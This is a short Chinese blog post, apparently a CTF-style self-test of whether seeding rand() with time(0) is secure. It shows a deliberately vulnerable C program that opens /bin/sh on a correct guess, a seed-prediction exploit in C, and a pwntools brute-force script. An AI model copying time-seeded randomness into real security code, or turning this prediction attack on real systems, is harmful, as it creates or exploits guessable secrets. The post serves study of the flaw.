今天突然在想,用time(0)当随机数种子真的安全吗?
于是有了今天的小测试
docker端程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #include <stdio.h> #include <stdlib.h> #include<time.h> int main() { srand(time(0)); int guess; int randm=rand()%1000000; scanf("%d",&guess); if(guess==randm) { system("/bin/sh"); } else { printf("rand:%d",randm); }
}
|
我的exp(第一部分c语言)
1 2 3 4 5 6 7 8 9 10
| #include <stdio.h> #include <stdlib.h> #include<time.h> int main() { srand(time(0)+10);//提前十秒 int randm=rand()%1000000; printf("rand:%d\n",randm); }
|
第二部分(python)
1 2 3 4 5 6 7 8 9 10
| from pwn import * context.log_level='debug' context(os = 'linux', arch = 'amd64') exp = process('./exp') rand=exp.recvline()[5:]
for i in range(12): p = process('./time') p.send(rand) p.interactive()
|
最后很轻易地通了,time(0)是一秒一变,而srand(time(0))又和电脑没关系,所以可以轻易地得到几秒以后的随机数,然后爆破,等他。